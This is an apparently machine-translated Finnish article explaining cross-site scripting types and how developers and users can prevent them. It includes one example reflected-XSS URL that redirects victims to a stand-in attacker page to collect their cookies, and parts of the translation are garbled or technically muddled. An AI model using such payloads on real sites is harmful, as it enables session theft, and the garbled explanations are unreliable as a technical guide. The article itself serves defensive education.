Sivustojen välinen komentosarja tai XSS voi olla voimakas ja nopea hyökkäys. Kehittäjänä saatat jopa ottaa sen virheeksi koodissasi ja etsiä virheitä, joita ei ole siellä.

Asiakkaana, joka käyttää haavoittuvaa verkkosivustoa, voit myös viattomasti paljastaa tärkeitä tietoja hyökkääjän todennusoikeuksistasi.

Joten mikä on sivustojen välinen komentosarja? Kuinka hakkerit voivat käyttää sitä verkkosivustolle pääsemiseen ja tietojesi varastamiseen? Ja miten voit vähentää tällaista riskiä?

Mikä on sivustojen välinen komentosarja?

Sivustojen välinen komentosarja tai XSS tapahtuu, jos haitallisen verkkosivuston komentosarja on vuorovaikutuksessa haavoittuvassa paikassa olevan koodin kanssa.

Palvelimet on kuitenkin kytketty tavalla, joka estää todentamattomia ihmisiä pääsemästä verkkosivustosi lähdekoodiin ja muokkaamasta sitä.

Internet käyttää samaa alkuperäkäytäntöä (SOP) estääkseen sivustojen välisiä vuorovaikutuksia. SOP kuitenkin tarkistaa kolme suurta tietoturva-aukkoa ja yrittää lieventää niitä. He ovat:

instagram viewer
  • Internet-protokollakäytäntö, joka tarkistaa, toimittavatko molemmat sivustot sisältöä suojatulla SSL: llä (HTTPS) vai suojaamattomalla URL-osoitteella (HTTP).
  • Sama verkkopalvelukäytäntö, joka varmistaa, että isännöit molempia verkkosivustoja samalla verkkotunnuksella.
  • Porttikäytäntö, joka tarkistaa, käyttävätkö molemmat verkkosivustot samanlaisia ​​viestintäpäätepisteitä.

SOP katsoo, että jos jompikumpi näistä käytännöistä eroaa kahdella verkkosivustolla, he eivät voi lukea tai vaihtaa tietoja verkon kautta.

Mutta JavaScript on manipulatiivinen kieli, joka määrittää verkkosivuston reagoivuuden. Vaikka verkkosivustosi JavaScript on todennäköisesti erillisessä tiedostossa, voit myös luoda komentotunnisteen ja kirjoittaa sen asiakirjaobjektimalliin (DOM).

Joten XSS-hyökkääjä saattaa ajatella: "Jos pystyt kirjoittamaan JavaScriptin DOM: iin, voit viime kädessä suorittaa sen mikä tahansa koodieditori tai syöttökenttä, joka hyväksyy HTML-tunnisteet. "

Tällaista haavoittuvuutta ja sattumaa odottaa XSS: ää käyttävä hyökkääjä kohdesivustolla. Kun he löytävät tällaisen porsaanreiän, he voivat ohittaa SOP: n.

Liittyvät: Lopullinen JavaScript-huijaussivu

XSS on siis hyökkäys, jota kaappaajat pistävät haittaohjelmia suorittavan komentosarjan haavoittuvalle verkkosivustolle. Komentosarja voi kohdistaa suojaamattomiin lomakkeisiin tai syöttökenttiin, jotka hyväksyvät tietoja.

Kuinka sivustojen välinen komentosarja toimii ja tyypit, esimerkkejä

XSS voi olla nopea heijastetun tai väliaikaisen komentosarjan toteutus, jonka hyökkääjä sijoittaa lomakkeisiin, kuten hakukenttiin. Se voi olla myös kiusallinen tai jatkuva, joka injektoidaan tietokantaan. Tai se voi tulla passiivisesti sivun lataamisen jälkeen.

Joissakin tapauksissa tämä skripti voi myös muuttaa uhrin alkuperäisen panoksen tahallaan. Tällainen käyttäjän syötteiden jatkuva muutos on mutatoituva XSS.

Missä muodossa se onkaan, XSS-hyökkäyksen tavoitteena on varastaa uhrin tiedot paljastettujen evästeiden ja lokien kautta.

Katsotaanpa lyhyt selitys kustakin näistä XSS-hyökkäystyypeistä ja niiden esimerkit ymmärtämään, mitä ne ovat.

Mikä on heijastunut XSS?

Heijastunut tai väliaikainen XSS on suora JavaScript-injektio käyttäjän syöttökenttään. Se kohdistaa pyyntöihin, jotka saavat tietoja tietokannasta, kuten hakutuloksista. Mutta se on yhden asiakkaan ja kohteen välinen hyökkäys.

Heijastuneen XSS: n aikana hyökkääjä lisää komentosarjan kohdeuhrin hakutermiin. Tällainen JavaScript voi olla kaiku, uudelleenohjaus tai evästeiden kerääjä.

Hakukenttään syötetty komentosarja suoritetaan sitten heti, kun kohdeasiakas lähettää kyselyn.

Esimerkiksi käyttäjän haun aikana hyökkääjä saattaa lisätä lomaketta toistavan JavaScriptiä ja pyytää, että uhri syöttää salasanansa tai käyttäjätunnuksensa. Kun käyttäjä tekee tämän, he saattavat päätyä lähettämään tunnistetietonsa tietämättään hyökkääjälle ajattelemalla, että se on alkuperäisen sivuston pyyntö.

Joskus hyökkääjä voi myös käyttää komentosarjaa ohjaamaan käyttäjän haavoittuvalta sivulta heidän sivulleen. Siellä hyökkääjän sivulla epäuskoinen käyttäjä voidaan sitten pettää lähettämään muutama lomake, mikä johtaa tunnistetietovuotoon.

Vastaavasti, jos tarkoituksena on varastaa käyttäjän istunto, hyökkääjä pistää evästeitä keräävän komentosarjan käyttäjän hakutermiin. Sitten he kaappaavat käyttäjän nykyisen istunnon, varastavat asiaankuuluvia tietoja ja ottavat haltuunsa uhrin toiminnan.

Alla oleva esimerkki XSS-hyökkäyksestä varastaa käyttäjän evästeen GET-pyynnön kautta:

http://vulnerablesite.com/?query=windows.location.replace("http://attackerswebpage.com/cookie-collector")

Yllä olevassa esimerkissä XSS hyökkääjä löytää porsaanreiän haavoittuvalta verkkosivustolta. Joten kun käyttäjä etsii haavoittuvalta sivustolta käytettävissä olevaa resurssia, se ohjaa heidät hyökkääjän sivulle. Hyökkääjä napauttaa sitten nykyisen käyttäjän evästettä ja tarttuu hänen istuntoonsa.

Tämä haavoittuvuus on kuitenkin yleinen, kun sivuston kyselytoimintoa ei suodateta tarkistamaan komentosarjojen lisäyksiä HTML: n kautta.

Mutta vaikka suodatettu kysely olisi olemassa, hyökkääjä voi ohittaa tämän turvautumalla epätoivoisiin toimenpiteisiin, kuten lähettämällä linkkejä verkkosivuston mahdollisille reaaliaikaisille käyttäjille. He voivat tehdä tämän millä tahansa sosiaalisen suunnittelun muoto niiden käytettävissä.

Liittyvät: Mitä tehdä sen jälkeen, kun olet pudonnut tietojenkalasteluhyökkäykseen

Kun uhrit napsauttavat tällaista linkkiä, kaappaaja voi nyt suorittaa XSS-hyökkäyksen onnistuneesti ja varastaa asiaankuuluvia tietoja uhrilta.

Pysyvä tai tallennettu sivustojen välinen komentosarja

Tallennettu XSS aiheuttaa enemmän uhkia. Tällöin hyökkääjä tallentaa komentosarjan verkkosivuston tietokantaan aiheuttaen tallennetun komentosarjan jatkuvan suorituksen. Tallennettu koodi voi toimia sivun lataamisen jälkeen tai sivun lataamisen jälkeen.

Toisin kuin XSS: n väliaikainen muoto, tallennettu XSS kohdistuu haavoittuvan verkkosivuston koko käyttäjäkantaan. Sen lisäksi se kohdistuu myös kyseisen verkkosivuston eheyteen.

Pysyvän XSS: n aikana hyökkääjä käyttää komentokentän kaltaisia ​​syöttökenttiä komentosarjan lähettämiseen verkkosivuston tietokantaan.

Mutta entä jos suojaat POST-kentät CSRF-tunnuksilla? Valitettavasti tallennetut sivustojen väliset komentosarjat ohittavat CSRF-tarkistukset.

Tämä johtuu siitä, että hyökkääjä lähettää lomakkeen kuten kaikki muutkin verkkosivuston käyttäjät. Joten tällainen kommenttilomake lähettää komentosarjan tietokantaan samoin kuin kaikki muut kommentit.

Tällainen hyökkäys voi tapahtua, kun verkkosivuston syöttökentät eivät käytä asianmukaisia ​​puhdistusaineita komentosarjojen ja HTML-tunnisteiden välttämiseen.

Kuvittele, että käyttäjä lähettää alla olevan komentosarjan web-kommenttilomakkeella:




Kun hyökkääjä lisää tällaisen koodin verkkosivuston tietokantaan, se ohjaa uhrin jatkuvasti hyökkääjän verkkosivustolle sivulatauksella. Komentosarja voi olla myös hälytys, interaktiivinen modaaliruutu tai upotettu haitallinen mainos.

Koska komentosarja ohjaa uudelleen sivun latautumisen yhteydessä, uhri, joka ei ole perehtynyt haavoittuvaan verkkosivustoon, saattaa olla huomaamatta uudelleenohjausta.

Sitten he jatkavat vuorovaikutusta hyökkääjän verkkosivuston kanssa. Kaappaaja voi kuitenkin käyttää useita tapoja saada tietoja uhreilta, kun he ovat heidän verkkosivullaan.

Mikä on DOM tai passiivinen XSS?

DOM-pohjainen XSS suorittaa verkkosivustoon upotetun haitallisen koodin ja pakottaa asiakkaan koko DOM toimimaan epätavallisesti.

Tallennettuna ja heijastettuna XSS kohdistaa palvelinpuolen pyyntöihin verkkosivustolla, mutta DOM XSS kohdistaa ajonaikaiset toiminnot. Se toimii lisäämällä komentosarja verkkosivuston komponenttiin, joka suorittaa tietyn tehtävän. Tämä komponentti ei suorita palvelinpuolen toimintaa.

Tällaiseen komponenttiin lisätty komentosarja muuttaa kuitenkin tarkoitustaan ​​kokonaan. Jos tämä komponentti suorittaa DOMiin liittyvän tehtävän, kuten ne, jotka muuttavat verkkosivuston elementtejä, komentosarja saattaa pakottaa koko verkkosivun muuttumaan.

Pahemmissa tapauksissa DOM-pohjainen XSS voi jäljitellä virhettä. Tämä johtuu siitä, että verkkosivusta tulee epätavallisen reaktiivinen.

Kuinka estää sivustojen välinen komentosarjahyökkäys

XSS-haavoittuvuus johtuu parhaiden taustajärjestelmien väärästä käytöstä. Joten sivustojen välisen komentosarjahyökkäyksen estäminen on yleensä kehittäjän vastuulla. Mutta käyttäjillä on myös oma roolinsa.

CSFR-tunnuksen käyttäminen syöttökentissä ei vaikuta ratkaisulta XSS-hyökkäyksiin. Ja koska tämä hyökkäys ohittaa myös saman alkuperäkäytännön, kehittäjien on oltava varovaisia ​​jättämättä jättämättä tietoturvakäytäntöjä, jotka estävät XSS: n.

Seuraavat ehkäisevät toimenpiteet ovat hyödyllisiä kehittäjille.

Puhdista syöttökentät

Sekä tallennetun että väliaikaisen XSS: n estämiseksi sinun tulisi käyttää tehokkaita puhdistusaineita syöttökentissä. Esimerkiksi hakukyselyjen poistaminen estää tunnisteiden lisäämisen käyttäjien hakutermeihin.

Käytä Unicode ja HTML Auto Escape

On hyödyllistä käyttää HTML- ja Unicode-automaattista poistumista estämään syöttökentät, kuten kommentti- ja muunnoslomakkeet, hyväksymästä komentosarjoja ja HTML-tunnisteita. Automaattinen paeta on tehokas ennaltaehkäisevä toimenpide varastoitua tai pysyvää XSS: ää vastaan.

Antaa käyttäjien lisätä tunnisteita kommenttilomakkeisiin on huono idea kaikille verkkosivustoille. Se on tietoturvaloukkaus. Jos sinun on kuitenkin sallittava tämä, sinun tulisi hyväksyä vain tageja, jotka eivät aiheuta XSS-uhkia.

Käytä asianmukaista tulojen vahvistusta

Vaikka estät tunnisteet kokonaan, hyökkääjä voi silti suorittaa XSS-hyökkäyksen sosiaalisin keinoin. He voivat lähettää sähköposteja sen sijaan, että sijoittaisivat mitään suoraan haavoittuvalle verkkosivustolle.

Joten toinen tapa estää se on validoida panokset tehokkaasti. Tällaisia ​​toimenpiteitä ovat protokollien validointi ja sen varmistaminen, että verkkosivustosi hyväksyy vain suojatun HTTPS: n syötteet eikä HTTP: tä.

Omistettujen JavaScript-kirjastojen, kuten dompurify, käyttö voi myös auttaa estämään XSS: ään liittyvät tietoturvaloukkaukset.

Voit käyttää työkaluja, kuten XSS-skanneri tai GEEKFLARE tarkistaa verkkosivustosi XSS-haavoittuvuudet.

Kuinka käyttäjät voivat estää XSS: n

Internetissä on tänään miljoonia verkkosivustoja. Joten tuskin pystyt sanomaan, kummassa on XSS-tietoturvaongelmia.

Käyttäjänä sinun on kuitenkin varmistettava, että tunnet kaikki verkkopalvelut ennen niiden käyttöä. Jos verkkosivu muuttuu yhtäkkiä kammottavaksi tai alkaa käyttäytyä epätavallisen, se voi olla punainen lippu.

Olipa tapaus mikä tahansa, ole varovainen, ettet paljasta henkilötietoja epäluotettavan kolmannen osapuolen kanssa. Etsi sitten ei-toivottuja sähköposteja tai epäilyttäviä sosiaalisen median viestejä, jotka voivat johtaa mihinkään tietojenkalasteluhyökkäysten muodossa.

Mikään yksittäinen ennaltaehkäisevä menetelmä ei sovi kaikille

Olemme nähneet miltä XSS-hyökkäys näyttää ja miten se voidaan estää. XSS-turvatarkastukset on helppo unohtaa kehityksen aikana. Joten kehittäjien tulisi ryhtyä toimiin varmistaakseen, ettei suojaa jätetä pois. Aiemmin lueteltujen ennaltaehkäisevien toimenpiteiden yhdistelmä toimii kuitenkin paremmin.

Sähköposti
Mitä CSRF-hyökkäykset ovat ja miten voit estää niitä?

Sekä kehittäjillä että käyttäjillä on oma roolinsa käteisen ja kirjautumistietojen menettämisen estämiseksi CSRF-hyökkäyksissä.

Liittyvät aiheet
  • Turvallisuus
  • JavaScript
  • Selaimen suojaus
Kirjailijasta
Idowu Omisola (53 artikkelia julkaistu)

Idowu on intohimoisesti kaikesta älykkäästä tekniikasta ja tuottavuudesta. Vapaa-ajallaan hän leikkii koodauksella ja vaihtaa shakkilautaan, kun hän on tylsistynyt, mutta rakastaa myös irtautumista rutiinista silloin tällöin. Hänen intohimonsa osoittaa ihmisille tien ympäri nykytekniikkaa motivoi häntä kirjoittamaan enemmän.

Lisää Idowu Omisolasta

Tilaa uutiskirjeemme

Liity uutiskirjeeseemme, jossa on teknisiä vinkkejä, arvosteluja, ilmaisia ​​e-kirjoja ja erikoistarjouksia!

Vielä yksi askel !!!

Vahvista sähköpostiosoitteesi juuri lähettämässäsi sähköpostiviestissä.

.